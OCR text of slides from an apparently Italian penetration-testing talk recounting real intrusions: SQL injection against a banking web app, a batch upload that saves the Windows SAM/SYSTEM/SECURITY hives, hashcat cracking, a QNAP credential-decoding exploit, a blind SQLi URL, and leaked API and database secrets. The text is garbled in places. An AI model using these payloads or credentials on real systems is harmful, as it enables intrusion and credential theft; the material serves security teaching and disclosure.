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The Story of a Pentester Pwnage




... codename: “Auricchio”







LA PILLOLA TI FARA VEDERE IL

“Auricchio” Meets With Morpheus mﬂwlﬁlyﬁum

TUTTO TORNERA COME PRIMA

b | —
N 8

\g'!

*‘ S .y

i y R

SF PREFERISCI HO
ANGHE UN GALIPPO
~ ALLA COCA-COLA

f‘




“Auricchio” - The Best Choice

scopri anche tu
il nuovo gusto
AFRICA







“Auricchio” - They say about them

- ~25 years of innovative software development
- Specialized in Banking area

- International market presence

- Made in ITALY




italians
do it
better



Italians Do It Better - Proof Of Concept
1 AIIESSOTIIIIIFII_IIIII




“Auricchio’s” Research And Development

- Constant R&D activities

- ~3M Euros invested in the lastest years
- ... “Sgrillettatori”
\HAHAHAHAHAR™




Software Development Model

S!!

“Auricchio




Legend

Database S Encrypted
& Secure




“Auricchio’s” Technologies Involved
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“Auricchio” - It's works,
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. until “John Connor's” appearance
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Pwning Details - Phase A (1)

The WebApp encrypt, with AES, form data
by using a Javascript library named “jCryption”...

How does this work o

iCiyption

1. client requests RSA public key from server

2. client encrypts a randomly generated key with the RSA public key

3. server decrypts key with the RSA private key and stores it in the session
4, server encrypts the decrypted key with AES and sends it back to the client

5. client decrypts it with AES, if the key matches the client is in sync with the server and is ready to go

6. everything else is encrypted using AES




BurplLoader by larry_lau

Burp Suite is an integrated platform for performing security testing of web applications.
If you like it, please try Free edition or buy Pro edition.
This loader is Free and CAN NOT be used for Commercial purposes!
If you bought it somewhere else, you should take action against the seller.
No exploiting and no malware in my code. Shaby is boring!
] age:
1. you need a burpsuite_pro jar file.
2. add burpsuite_pro jar into classpath then run burploader

@ java -jar BurpLoader jar
# java -cp Burploader jar;burpsuite_pro.jar larry.lau.BurplLoader

# java -cp BurplLoader jar:burpsuite_pro.jar larry.lau.Burploader

3. To Support headless mode, ac java.awt.headless=true into jvm arguments.
4. Any suggestions, let me know.

| Decline | | | Accept



The exgensibility API is extremely rich and powerful, and lets extensions carry out numerous useful tasks. You can:

Process and modify HTTP requests Provide custom Intruder payloads and Customize Burp's HTTP message

and responses for all Burp tools. payload processors. editor to handle data formats that
Burp does not natively support.

Access key runtime data, such as the Query and update the Suite-wide

Proxy history, target site map, and target scope. Analyze HTTP requests and responses

Sganner issues. to obtain headers, parameters,
Query and update the session okies, etc.

Initiate actions like scanning and handling cookie jar.

spidering. Build, modify and issue HTTP requests
/ Implement custom session handling and retrieve responses.

Implement custom scan checks and agtions.

register scan issues. Read and modify Burp's configuration
/ Add custom tabs and context menu settings.

Customize the placement of attack items to Burp's user interface.
insertion points within scanned Save and restore Burp's state.
requests. Use Burp's native HTTP message

editor within your own user interface.




¥ @) Insecure Implementation of RSA Encryption (jCryption v1.x) [2]

_[ Advisory T Request T Response ]

~ Insecure Implementation of RSA Encryption (jCryption v1.x)

Issue: Insecure Implementation of RSA Encryption (jCryption v1.x)
Severity: Medium

Confidence: Certain

Host: http://127.0.0.1:8888

Path: fmain.php

r-Lm_,;ger Preferences] About}

%)Java

. :vorkspace - Java - JCryption Handler/src/burp/BurpExtender.java - Eclipse

-\

v

g S
v *’_ \,_l v

public class BurpExtender extends AbstractTableModel implements
IBurpExtender, ITab, IMessageEditorController, IMessageEditorTabFactory, IContextMenuFactory,

Status | Disable | IScannerCheck, IScannerInsertionPointProvider, IProxylistener, IExtensionStatelistener
Logger l Import Logs Export Logs J {
private static final long seriaglVersionUID = 1L;
Parameter jCryption
public final String EXTENSION_NAME = "]Cryption Handler";
Passphrase | public final String EXTENSION_VERSION = "1.4.1"

15 Version

I Clear | l Save

public final String EXTENSION_AUTHOR
public final String EXTENSION_URL
public final String EXTENSION_IMG

"Gabriele Gristina aka Matrix";
"https://www.github.com/matrix/Burp-1Cryption-Handler";
"/img/matrix_systemFailure.gif";

private IBurpExtenderCallbacks callbacks;
private IExtensionHelpers helpers;



Pwning Details - Phase A (5)

BApp details: JCryption Handler

This extension provides a way to perform manual and/or automatic Security Assessment for Web Applications that using JCryption JavaScript library to .
encrypt data sent through HTTP methods (GET and POST). ' PortSwigger support

The main features are: to me

Hijacking the JCryption JavaScript library in order to retrieve automatically the AES key (every time it is generated), used for encrypt form data

Hi John Connar

Add a custom tab in read-only on HTTP Request View in order to show the decrypted parameter values

Add a custom tab in read-write on all HTTP Request sent to Repeater, in order to manipulate the decrypted parameter values on-the-fly I've now looked thl’OUgh your
extension in more detail. | like how

you are hijacking the JavaScript to
Add a custom Logger View to keep track of all requests (with the related responses) that contain the encrypted parameter, save also the cookies extract the passphrase‘ It's a nice
and the AES key used for encrypt/decrypt data touch that the plugin supports active
scan. And using a hash of the
request to find the matching
passphrase is a clever trick.

Automatically identify Insertion Points inside the encrypted parameter when sending the requests to the Active Scanner

Add a preference panel in order to customize the parameter name used with JCryption to hold encrypted data, show the current AES key,
enable/disable the extension without unload it

Add custom menu entries, useful to send the requests to Repeater or Active Scanner. You can choose if you keep the original request session or
make a new request using the last cookies/AES key saved Everything looks gOOd so | have
published your extension in the BApp

store. Please check everything is ok
Add support to Export/Import Logger View entries in/from CSV from the Preferences panel and let me know if any issues

Automatically save and restore extension persistent settings (you can clean up settings by Preferences panel)




AES passphrase and decrypt/encrypt the comunications

on-the-fly. / ~

eah, now the “New Age” pentesters
can run an “Active Scanner” sessionin a
Production Environment and wait for a

random Application “Denial Of Service”

Porca'pugfena,
non i avevalpenseto!



“wait ... there’s a function named )()()(query that send a POST
request to the web server .... and another named

-
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Pwning Details - Phase B (3)

$ head AnalIntruder.sh
#!/bin/bash

last_COOKIE="JSESSIONID=00014¥F 1E 55T %'s [ Crndg e i) -SBAEWE"
last_PASS="I1KFiamaur] S CaGF poipialim | ri sl PN T8 Bilad=
baseRequest="furE=#iarpiiid query="

BIN_ENCODE="./encoding.py"
BIN_ENCRYPT="./jcryption.py"
BIN_CURL=$(which curl)




}

query="${1}"

queryEncoded=%$(encode_query "${query}™)

postData="data=${encryptData}"

send_request "${postData}"

function encrypt_data()

{
¥

${BIN_ENCRYPT} "${last_PASS}" "${1}"

function ORACLE_banner()

{

echo "## GET Oracle banner : "
query="select banner from v\$version"
queryWrapper "${query}"




Pwning Details - Phase B (5)

def padding(s):
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

def encrypt(password, data):
salted = "'
dx = **
salt = Random.new().read(8)

$ head encoding.py
#!/usr/bin/python
while len(salted) < 48:

dx = hashlib.md5(dx+password+salt).digest() import sys
salted += dx

key = salted[0:32] def encodeParameter(parameter):
iv = salted[32:16+32] encodedParameter = "";
for 1 in range(@, len(parameter), 1):

aes = AES.new(key, AES.MODE_CBC, iv)

pdata = padding(data) a = iwd(parameter[i])

encodedParameter += 41 ¥(a)

Dump the database
encrypted_data = aes.encrypt(pdata)
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Pwning Details - Phase B (7) \

 a—

“John Connor” have been pwned the Database.




“Pubblicita Progresso”
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Pwning Details - Phase C (1) VATM ' fv l

“John Connor” re-login to the WebApp as Administrator
and find new functionalities.

He find a funny menu .... magically can browse the ATM’s

filesystem. But wait .... “right click with the mouse and | can

upload/download/exec/rename/delete ... files ?1?” e

“In some ATMs | can browse C:\Documents and

Settings\Administrator\XXXXXX ?1?” ...

Administratos



————————————————————————————— Lo e e [ FRSEA L §3170 K
Content-Disposition: form-data; name="fileUpload"; filename
Content-Type: application/x-msdos—program

@echo off

reg save hklm\sam c:\sam.txt

reg save hklm\system c:\system.txt

reg save hklm\security C'\securlty txt

ping gi S o X

copy...

4 30

COVEr0009.gif
nnn

X - - EY- £ 177 1974 TJCIL 4
it )ba 6bbc 6dee 6T/0 7172 7374 7576 hijk Lmr rstuv

263 6465 6667 6869 wabcde \_1_ i
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Pwning Details - Phase C (3)

5es5ioN.vsusseua.: hashcat usw784cne un!_ igcohd3 ="'l ’ ""S“E‘ \-l-

ﬁtgﬁui""" . : Eﬁhausted Ji:”n*qnﬁ”xu:»{Jhuualfl
ash.Type...... : 6

< An Advanced Password Cracking Tool

wudtgSE 1ul
Hash.Target.. t By wwiSned apdome by, aaaniomel B2.0e il q],h.I‘q,Lk g 1 dyibcdd
Time.Started. i 21 14:42:01 2017 (53 secs) cuh8’ 7 l"l'l yGUhaw. ¢ thoe
Time.Estimated...: Fri Ju= 21 14:42:54 2017 (0 secs) kchgkser ill 18t47sd 143005
Guess.Mask.......: 717171717171 [6] 1zF heyre |1n]_{1| ) i3
Guess.Charset....: -1 ?1, -2 Undefined, -3 Undefined, —4 Undefined [ “f“”t';]'”t : ﬂ< ¥ I'tl ! |'|1.|| t| _,Nhj EE
Guess.Queue.. : 6/7 (85.71%) hike.jmuh iy bzsuiak. 1 m ]],],
Speed.Dev.#1.....: 6554.3 kH/s (25.73ms) : 710 0ahof] = & Jk J8oud| -

Recovered........: 1/2 (50.00%) Digests, 0/1 (8.00%) Salts ywd 2uaay : ]| ﬂfjf:,wi‘]f‘[l LA ﬂ-

Progress. . : 308915776/308915776 (100.00%) i
Rejected. ...... : ©/308015776 (0.00%) ghgnion _“ 4hf WegudwyE |
Restore.Point....: 456976/456976 (100.00%) Fi ) ,ili}ﬂ" o, "[Il i Il‘;l’l i

Candidates.#1....: SA0QOQ —> XWQOQO Ao pr b ,]’I i . |”‘ i~y
HwMon.Dev.#1.....: : 71 e L L q 4

t s o i gk :;ti-'| e gz \noca
1 ooy el Dol | 3 ; REMUALR gf648c J_ ﬂhl‘l F ! ‘ ‘S&nivr
! By sdf ) uuaﬁ g
: hashcat Yeugr L&y ) J SV WL 'H‘“\hijtultil' “"'-‘-\-'
...... .«2.3 Cracked e
Hash.Type.... i LM Jiag ! B ors

Hash.Target... ...t %56 ol Bl D, s e T el
Time.Started.....: Fri 21 14:42:55 2017 (3 secs)
Time.Estimated...: Fri l= 2§ 14:42:58 2017 (@ secs)
Guess.Maski.waweaad 71717171717171 [7]

Guess.Charset....: -1 71, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 7/7 (100.00%)

Speed.Dev.#1.....: 8815.9 kH/s (27.92ms)

Recovered.... : 2/2 (100.00%) Digests, 1/1 (100.0@%) Salts
Progress. ... : 33593344/8031810176 (0.42%)

Rejected.... : B/33593344 (0.00%)

Restore.Poin 1 1792/456976 (0.39%)

Candidates.#1....: IOTZRER —> MEGVESA

HwMon.Dev.#1.....: N/A
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~3 Million Euros for that shit ?
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QNAP QTS

Domain Privilege Escalation






Most common NAS systems

QNAP
HP

SYNOLOGY

DELL
NETAPP

EMC

NETGEAR

IBM
BUFFALO

5
e
®

ORACLE
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R

THECUS
LACIE

o
~
R

WESTERN DIGITAL

e
~
R

L L 1 1
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e
ES

OTHER

FrYAADIITE
! | |

NAS systems at sites with 50 or more employees / The Netherlands LCUOMPU : if]_ : J\ {:" I r [_ -
Computer Profile / March 2015 TURNING DATA INTO BUSINESS




QTS 4.3.3 Beta

Back up data from optical discs
(incl. DVD and Blu-ray Disc) to NAS

CAGATOMETRO

LOWA



TES-x85U Series

Dual OS Options System for Versatility and High-availability

- 1000
whe Ll Koo e

CAGATOMETRO

LOWA



Cost-effective NAS

TS-831X/TS-531X

» Supports QM2 M.2 SSD /10GbE
PCle Cards

» Upgrades to 1.7 GHz CPU

L]
pu—ly - ' ' : H . -
Nnnapurna = ——— —— TS-531X
an amazon company

TS-831X

CAGATOMETRO

LOW A



QTS-Linux combo quad-core

NAS with PCle expandability

CAGATOMETRO

LOW A



LOW

Y aNAe
T1S-x77 Series RN 0 4 PN

Boost virtual machine performance = ;;
with up to 8-core/16-thread AMQ‘ oy g
Ryzen™ 7 processor and 64GB a e

memory

4-core/B-thread
¥ Ryzen 5 1400

-0 B-core/16-thread B g;:g::st %E‘ggud
a?‘z.}l Ry=en 7 1700 “"a‘

Ll

CAGATOMETRO



CAGATOMETRO

LOW A I HIGH



CAGATOMETRO

LOW A



QNAP

W FIBARO

HOME INTELLIGENCE

CAGATOMETRO

Low A



QNAP

Browser Station

Convenient tool for securely access a private network

CAGATOMETRO

LOW A



CAGATOMETRO

LOW A



App Center

New & Updated Apps

My Apps

My Licenses

~Vyprvpn

All Apps -
|I"'I'Ip!'OVE your streaming

QTS Essentials speed and experience

Recommended

Beta Lab

Partners

Backup/ Sync

Content Management CMS Made DokuWiki Dolphin 7.1.2.0 Drupal 7.34 Joomla 3.6.2.0 Mediawiki WordPress
Simple 1.11.6.0 2013051041 Content Content Content 1.27. 4.3.0.0
Communications Content Content Content Content

l + Install

Business

Developer Tools 1 + Install l + Install ‘ + Install [ + Install | + Install l + Install

Download
Entertainment
Surveillance
Utilities

Home Automation

ke fa@l«a >EQD D

Security

CAGATOMETRO









From local user, such as
“httpdusr” (used to run
web applications) to
Domain Administrator



QNAP QTS Domain Privilege Escalation

A) Config file readable by "nobody"

[~] # 1s -1 /etc/config/ulinux.conf
-rw-r—--r-- 1 admin administ 7312 Dec 10
06:39 /etc/config/ulLinux.conf



QNAP QTS Domain Privilege Escalation

B) Weak encrypted password in the configuration file

The Microsoft Active Directory Admin username and password are
stored in the file obfuscated by a simple XOR cypher and base64
encoded



QNAP QTS Domain Privilege Escalation

Each byte xored with \x62 is the hex ascii code of the plaintext char.

\x03 * \x62 = \x61 (a)
\x00 ~ \x62 = \x61 (b)

\x24 ~ \x62 = \x46 (F)
\x43 ~ \x62 = \x21 (!)



QNAP QTS Domain Privilege Escalation

gnap-decode.php exploit

#!/usr/bin/php
<?php
$plaintext = str split(base64 decode (Sargv[1l]));
foreach (Splaintext as $chr) ({
echo chr (ord(Schr)~0x62) ;
}

echo "\n";



QNAP QTS Domain Privilege Escalation

http://www.ush.it/team/ush/hack-gnap/qnap.txt
https://www.gnap.com/en/support/con_show.php?cid=113
http://securityaffairs.co/wordpress/57387/hacking/qnap-qts-flaw.html

std@zen ~$ cat uLinux.conf | grep 'User\|Password'

= Administrator
' sword = AwMAAAEBBgYHBwQEIyMgICEthYnJkaQw
std@zen ~$ echo -n "AWMAAAEBBQYHBWQEIYMgICEhJIiYnJyQkQw==" | base64 -d | hexdump -C | lolcat
. ) 01 01 D6 06 O7 07 04 04 23 23 20 20 [ isscsancvasne #r |
26 27 27 24 24 43 | 11&&" 'SSC|
sid@zen:~$ ./qnap-decode.php AWMAAAEBBQYHBWQEIYMgICEhJiYnJyQkQw== | lolcat

aabbccddeef fAABBCCDDEEFF!
sid@zen:~$ |}



QNAP Security Advisory | Bulletin ID: NAS-201703-21

Taipei, Taiwan, March 21, 2017 - QNAP® had published security enhancement against
security vulnerabilities that could affect specific versions of QNAP products. Please use
the following information and solutions to correct the security issues and vulnerabilities.

Security Vulnerabilities Addressed in QTS 4.2.4 Build 20170313

Release date: March 21, 2017
Last updated: March 21, 2017
Bulletin ID: NAS-201703-21
Severity rating: Critical
Affected products:

e All QNAP NAS running QTS
Summary
QTS 4.2.4 Build 20170313 includes security fixes for the following vulnerabilities:

® Configuration file vulnerability (CVE-2017-5227) reported by Pasquale Fiorillo of the
cyber security company, ISGroup ( www.isgroup.biz), a cyber security company, and
Guido Oricchio of PCego ( www.pcego.com), a system integrator
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Nel MoVimento 5
Stelle uno vale uno,
nel Pd uno vale 15

euro.
-- Beppe Gr|IIo

https://twitter.com/beppe_grillo/status/83



Nel MoVimento 5
Stelle * OR ‘“1°=1

-- Senior Panettiere
@rousseau_dev_team



B3 httpsy/frausseau

< C | & Secure | https//pastebin.com/s10 ¥ gzs

o NEW 8 trends

A GUEST JUL 315T, 2017

-37%

Imperdibili l | v, Piscina fuoriterra...
di Oggi ~ EUR 219,00

Not a member of Pastebin yet? Sign Up, it unlocks many cool features!

text 0.12 KB raw download report

https://rousseau.movimento5stelle.it/edit atto.php?id=1258&sharing_ id=1-
IF(MID(CURRENT_USER(),1,1) = CHAR(83), SLEEP(20), 0)

pixel.mathtag.com/cli mgimk_aid=1880847502486364941&mL_id=4029196&mt_adid=1039548redirect=https://rover.ebay.com/rover/1/724-230444-51244-11/47m pt=9376& T 5=355058& 1T 6= 1880847502 48636494 1 &ffT=pastebin.com&ffB=21845508f FO=apn& T 19=8exl_id=&ir_D.




W evarlste.galoison ™ = gy (2]

C | @ Twitter,Inc. [US] | httpsy/twitter.com/evaristegalls/stal

a evariste.galOis
s is

Il sito Rousseau del M5S & vulnerabile, voti e
dati personali degli iscritti sono tutti a rischio
#Hack5Stelle

ckbstelle bvethost17.com

& un classico esempic a favore delle tue

Matteo G.P. Flora® @
Wow! Complimenti daw




&

[ #Hacksstelle

c

() hacksstelle byethost17.com /2

Riassunto

Le puntate precedenti
In data 2 agosto 2017 uno dei coautori di questo blog post (Evariste GalOis) ha segnalato

Il sito Rousseau del M5S é vulnerabile, voti e dati personali degli iscritti sono tutti a rischio
#Hack5Stelle https://t.co/7KPcFsXFhe — evariste.galOis (@evaristegalOis) Auqust 2,
2017

una severa vulnerabilita (del tipo SQL injection) che affliggeva la piattaforma del
Movimento Cinque Stelle chiamata Rousseau . La sua segnalazione riceve una notevole

copertura mediatica e minacce di querela da parte del Movimento Cingue Stelle* (cosa

che spinge Evariste GalOis a prendersi temporaneamente una pausa). Nel frattempo un

black hat hacker che si fa chiamare rogue0 viola nuovamente la piattaforma.

@beppe_grillo @casaleggio #NoMoreBullshit, it's too easy play with your votes
#DemocraziaDirettaSonolO https://t.co/yJAeZDzznt #Hack5Stelle https://t.co/zfR1bfpFG2

— rogue0 (@r0gue_0) August 3 2017

e mette in vendita i dati degli utenti.

now for greedy big discount & Lower price at #Rousseau Market! The whole users database




https://rousseau.movimento5stelle.it/edit
_atto.php?id=1258&sharing_id=1-IF(MID
(CURRENT _USER(),1,1) = CHAR(83),
SLEEP(20), 0)



Why not responsible disclosure?



Riassunto

Le puntate precedenti
In data 2 agosto 2017 uno dei coautori di questo blog post (Evariste GalQis) ha segnalato

Il sito Rousseau del M55 é vulnerabile, voti e dati personali degli iscritti sono tutti a rischio
#Hack5Stelle https://t.co/7KPcFsXFhe — evariste.galOis (@evaristegalOis) August 2,
2017

black hat hacker che si fa chiamare rogue0 viola nuovamente la piattaforma.

@beppe_grillo @casaleggio #NoMoreBullshit, it's too easy play with your votes
#DemocraziaDirettaSonolO https://t.co/vJAeZDzznt #Hack5Stelle https://t.co/zfR1bfpFG2
— rogue0 (@r0gue_0) August 3, 2017
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" ..Ottimo servizio!! Ho affittato con la vs.
collaborazione. Grazie..."

Da Induno Olona (VA)
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} ["message":protected)|=> string{114) "Unsuppaorted get request. Please read the Graph APl documentation at https://develop

string(20) "GraphMethodExceptio |=>int(100} [ : i ) "EBIWwCEriz6" }
apit it e e s R PR - TR B
{ [0
["ari
["co
["fils
["sh
["sti
arra
arra
[“ari
[0]=
bool
int{-
int{-
strir
strir

ers.facebook.com,

e L e
/docs/graph-
wray(6)

tal.codice_tipo_annuncio=ta.codice_tipo_annuncio and tal.sigla_lingua="it' and ta.attive=1 order by ta.crdinamento” ["options"}=> array(8) { ["result_buffering”|=> int{500) ["persistent"]=> beal(false) ["ssl"|=> beol(false) ["debug"]=> int{0)
["seqname_format"]=> string(6) "Ys_seq" ["autofree"]=> bool(false) ["portability"]=> int(0) ["optimize"]=> string(11) "performance” } ["last_parameters"]=> array(0) { } ["prepare_tokens"]=> array(0) { } ["prepare_types"]=> array(0) { }

["prepared_queries"]== amray(0) { } ["_last_guery_manip"]=> bool(false) ["_next_guery_manip"]=> bool(false) ["_debug"]== bool(false) ["_default error_mode"]==> int(8) ["_default_error_options"]=> NULL ["_default_error_handler']== string(0)

["_error_class"]=> string(8) "DB_Error” ["_expected_errors™]=> array(0) { } } } } } ["previous”:"Exception”:private]=> NULL }

[ se @ in affitto glé Su... Home page  Scrivi annuncio  Area utenti i1 ITA = ENG ™ DEU
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Esegui il login < Indietro

INSERISCI EMAIL E PASSWORD PER ACCEDERE AL TUO PANNELLO DI CONTROLLO
E-mail n Accedi da
Passivaid . P FACEBOOK

Chiudendo questo banner, scorrendo |a pagina o continuando la navigazione acconsenti all'utilizzo dei cookies. Se desideri saperne di pit o negare il consenso ai cookies clicca qui

chiudi

ption™




object(FacebookApiException)#23 (8) {
[“result":protected]==
array(1l) {
["error®]=>
array(4) {
[“message” ]=>
string(114) "Unsupported get request. Please read the Graph API documentation at https://developers.facebook.com/docs/graph-api”
["type"]=>
string(28) "GraphMethodException”
["code"]==
int{100}
[“fbtrace id"]==
string(11l) "B/im3H2RBIb"
}
}
["message” :protected]=>
string(114) "Unsupported get request. Please read the Graph API documentation at https://developers.facebook.com/docs/graph-api"”
["string”:"Exception”:private]==
string(@) "*
[*code":protected]=>
int(0)
[“file":protected]=>
string(74) “/var/www/html/affitto.it/lib/facebook-php-sdk-v3-2-8/src/base facebook.php"
["line":protected]==
int(1238)
[“trace":"Exception":private]=>
array(6) {
[e]=>
array(6) {
[“file"]=>
string(74) “/var/www/html/affitto.it/lib/facebook-php-sdk-v3-2-0/src/base facebook.php”
["line"]==
int(878)
[“function"]==
string(17) "throwAPIException"
[*class"]=>
string(12) "BaseFacebook”
["type"]=>
string(2) "->"
["args"]==
array(1l) {
[0]==
array(1l) {




FB API Credentials

/var/www/html/affXtto.it/lib/facebook-php-sdk-v3-2-0/src/base facebook.php

object (Facebook) #22 (9) {
["appId" :protected]=> "4119961XXXXXXXX"

["appSecret" :protected]=> "a2da7fb3aa50d3e7XXXXXXX[..]"

["accessToken" :protected]=> "4119961[..] |a2da7fb3aa5[..]"



Database Credentials

/var/www/html/affXtto.it/accesso-pdc.php

["dsn"]=> array(9) {
["username"]=> "affXtto"
["password"]=> "philips99"  CHANGED TO SAVE INNOCENTS
["hostspec"]=> "mysql-affXtto"

["database"]=> "affXttonew"
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Stagionatura 2.0

Facebook PHP SDK (v.3.2.0) « affXtto.it
Facebook PHP SDK (v.3.2.3) (DEPRECATED)
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Pull requests Issues Marketplace Gist

facebook / php-graph-sdk @ Watch » 282 o Star 1779 Y Fork 962

<> Code Issues 16 Pull requests 7 Projects 1 Nik nsighls «

The Facebook SDK for PHP provides a native interface to the Graph API and Facebook Login

https. /Idevelopers. facebook.com/docs/php
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GO g le site:affitto.it facebookapiexception

LOGIN - Rent - Affitto.it

house-




This is Gongle's cache of hitp:/iwww.affitto. itVaccesso-pde.php. It is a snapshot of the page as it appeared on 6 Aug 2017 17:08:43 GMT.
The current page could have changed in the meantime. Learn more

Full version Text-only version View source Tip: To quickly find your search lerm on this page, press Ctrl+F of

object{ FacebookApiException)#23 (8) { ["result":protected]== array(1) { ["error"]==> array(4] { ["message"]== string(114} "Unsupported get request. Please read the Graph API documentation at https://developers.facebook.com/docs/graph-api” ["type"]==>
strin: {20; "Crapt' MethsdExcept on" [ code > int{100} ["fbtrace_id"]==> string{11) "EBIWwWCErz6" } } ["message":protected stri |na{114J "Unsupported get |eques" P’Iease |eac| the Graph AF‘I documer\atuon at https -".-‘ce»elopers Facebook colm docs/graph-
PR 'y ey Fues Pty BRal ol oo e ikl P . , ray(6)

ption”

||po aunungg ta.codice_tipo_ annunclu and tal.sigla_lingua="it' and ta.attivo=1 arder by ta.ordinamento” [* 0p:|0ns J=> array(8) { ["result_buffering”]=2> int{500) ["persistent”]=> bool(false) ["ssl"]=> bool(false) ["debug"]=> int{0)
q" ["autofree"]=> boal(faise) ["partability*]=> int(0) ["aptimize"]=> string[11) "performance” } ["last_parameters"]=> array(0) { } ["prepare_tokens™]=> array(0) { } ["prepara_types"]=> array(0) { }
qt_qucry_manl bool{false) ["_next quer‘,-' manip"]=> bool(false) ["_debug"]=> bool(false) ["_default_errar_mode"]=> Int{8) ["_default_error_options"]=> NULL ["_default_error_handler"]=> string(0} ""
_e:'rnr_:lass"]=> srrmg{ﬁ.] "DB_Er'mr" ["_expected_errors =array(0}) { } F ¥ T } ["previous":"Exception™:private]=> NULL }
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Google

Search Console

Remove outdated content

Instructions:
+ This request works only for pages/images thal have already been modified, or removed from the web.

+ If you need to remove personal information or content with legal issues, you should submit this request instead.
= Enter the URL copied from Google Search Results.
= If successful, cached result and snippet will be removed from Google Search results.

« If unsuccessful, learm why.

More details

Removal requests

Show all
URL Status Removal Type Requested

http:fiwohnimmobilie-miete. affitto i Changed content Sep 1, 2017 cancel request




Fixing bug #69

Just be



@ 2@ Constatazione: lugvr senza un laboratorio =lugvr senza smanetta
File Edit View Go Message Enigmail Tools Help
& Get Messages ~ B Write ®Chat £ AddressBook % Tag-

.. . . 9| =
ascii <ascii@katamail.com>

- Constatazione:lugvr senza un laboratorio = lugvr 09/04/2008 21:15
senza smanettamento !=lugvr

To Lista del Linux User Group di Verona <lugvr@ 1 more

domanda:

non pensate che la priorita' numero uno sia riacquisire un laboratorio
dove tornare a spippolare come una volta?

ora questa vena "conference" e' molto bella e lodevole ma anche molto
triste visto che, ve ne sarete accorti, guardare non e' fare

sopratutto quande i temi trattati sembrano sponsorizzati da vmware,
microsoft, e apple. tutte grandi realta' a favore del free software

a ticchettio di tasti
le bacchette del rampo

a il ronzio dell'elettricita’

nz

dove vogliamo andare?
cosa diventeremo?
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# Available on the

: App Store

?‘ (e;t(“)ggle play
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FREEWIFI




public class Globals {
public static final long COUNTDOWN_TICK = 1000;
public static final String FCM_TOKEN = "FCM_TOKEN";
public static final String GUEST_EMAIL = "guest@italiawifi.com";
public static final String GUEST_PASSWORD = "123456";
public static final String ITALIA WIFI_APP_VERSION = "wifi.italia.it/1.@";
public static final String ITALIA WIFI_CREATED_KEY = "ITALIA ! NIFI CREATED KEY"'
public static final String LINK_PRIVACY_POLICY = "http:
public static final String LINK_WEB_SITE = "https: //w1f11talla v1nospott1ng com/";
public static final String LOGIN_CREDENTIALS_KEY = "LOGIN_CREDENTIALS_KEY";
public static final String MY_LAST_KNOW_POSIITON_KEY = "MY_LAST_KNOW_POSITION_KEY";
public static final int OTC_LENGTH = 5;
public static final int PASSWORD_LENGTH = 6;
public static final long PROGRESS_DELAY = 2000;
public static final long SHOW_NOTIFICATION_DELAY = 150080;
public static final String SSID = "wifi.italia.it";
public static final String USER_LOGGED_KEY = "USER_LOGGED_KEY";
public static final String USER_TEMPORARY_KEY = "USER_TEMPORARY_KEY";
public static final String UTF8 = "UTF-8";
public static final long VERIFICATION_CODE_EXPIRY = 180000;




3 references

public class FindUserByEmailRequest extends ItaliaWiFiRequest {
private static final String TAG = FindUserByEmailRequest.class.getSimpleName();
private static fipal String USERS_URI = "/users?";
private String email;

1 reference
public FindUserByEmailRequest(String email) {
this.email = email;

}

0 references
public URL urllize() {
try {
StringBuilder stringBuilderInitial = new StringBuilder(SystemConfiguration.HTTP_PROTOCOL);
stringBuilderInitial.append(SystemConfiguration.HOST);
stringBuilderInitial.append(”:");
stringBuilderInitial.append(SystemConfiguration.HTTP_PORT);
stringBuilderInitial.append(SystemConfiguration.CONTEXT_ROOT);
stringBuilderInitial.append(SystemConfiguration.SERVER_REST PATH_VERSION);
FtringBuildePInitial.append(USERS_URI);
Builder builder = Uri.parse(stringBuilderInitial.toString()).buildUpon();
builder.appendQueryParameter(“email”, this.email);
return new URL(builder.build().toString());
} catch (MalformedURLException e) {
Log.e(TAG, "Unable to build a valid URL...", e);
return null;

0 references
public string getBody() {
return null;

}



<« C @ Sicuro https:f;’wiﬁitaIia.vinospotting.com;’lta|iaWiFiServer,/rest/v(_)/usersf'?email=g~a.“o@gmail.com

[{

“id" : ”2856"J

"name" : "Glumiij=" ,
"surname" : "Qiifiago",

"password"” : "EA4DC o > 20 C6051579FDF
"email®:" .QuulEo@email. com"”,

"dob": "2/ o/ 190@p",

"phone": "+39345¢4EDO" ,

"gender":"MALE",

"nationality":"Italy",

"application™:

{

"token" : "C283410834 R . 3 F02F 3F 769",

"platform":"I0S",
"app_installed":true

}
}]
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-+ Fax e scanner di Windows

Esaminare lo stato del fax

Pronto per l'invio o la ricezione di un fax

Nascendi dettagli

Evento

@Invio del fax completato,
Chiamata completata.
Invio paginal dil in corso...

Chiamata di’ = &l == in corso

| Cancella elenco

Rispondi

Annulla

Ora

12:24:52
12:24:52
12:24:39
12:24:13
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=3 Fax e scanner di Windows

File Modifica Visualiza

4 = Fax
" Faxin ingresso
g Fax in arrivo
&1 Bozme
e Faxin uscita
Fax inviati

Strumenti

1

Documento

B Nuovo fax == Nuova digitalizzazione B | B Fi)

[* Mome destinataric

= M Inoltra come messaggio di posta elettronica

Numero destinatar... Oggetto

B Ricevifax

Ora di awvio Pagine Dimen.. Accountfax

Attacco FAX1di2

09/11/2016 12:24:13 1 _2KB Locale

Attacco FAX 2 di2

09/11/2016 12:26:41 1 3KB Locale

£

| = Dngaa.l.ma

Per ottenere |a Guida, premere F1

est invio FAX1di 2

2 elementi

Pagina 1 di 1

B2 Tutti gli account fax sono accessibili




”
-+ Fax e scanner di Windows

Esaminare lo stato del fax

Pronto per l'invio o la ricezione di un fax

Nascondi dettagli | Rispondi H Annulla

Evento Ora

@Invio del fax completato, 12:27:20
Chiamata completata. 12:27:20
Invio paginal dil in corso... 12:27:08
Chiamata di*= " all == in corso 12:26:41

@In-.rio del fax completato, 12:24:52
Chiamata completata. 12:24:52
Invio paginal dil in corso... 12:24:39
Chiamata dim, = _ a9 in corso 12:24:13

| Cancella elenco
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=3 Fax e scanner di Windows

File Modifica Visualizza Strumenti Documento ?

B Nuovo fax == Nuova digitalizzazione B | B Hiopond & M Inoltra come messaggio di posta elettronica 2 Ricevi fax

4 = Fax [ Mome destinatario Numero destinatar... Oggetto Ora di awvio Pagine Dimen.. Accountfax
f| Facin ingresso B — e Attacco FAX1 di2 09/11/2016 12:24:13 1 2KB Locale

‘%;a’””"‘""“ et L L Aftacce FAX2 di2 0671173016 122641 1 3K8 Tocale
22 Bors ; o— e

e Faxin uscita

Fax inviati

Pagina 1 di 1

st invio FAX 2 di 2

E: Fax

| = Dngaa.l.ma

Per ottenere |a Guida, premere F1 2 elementi B2 Tutti gli account fax sono accessibili
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£ Pil visitati Nessus

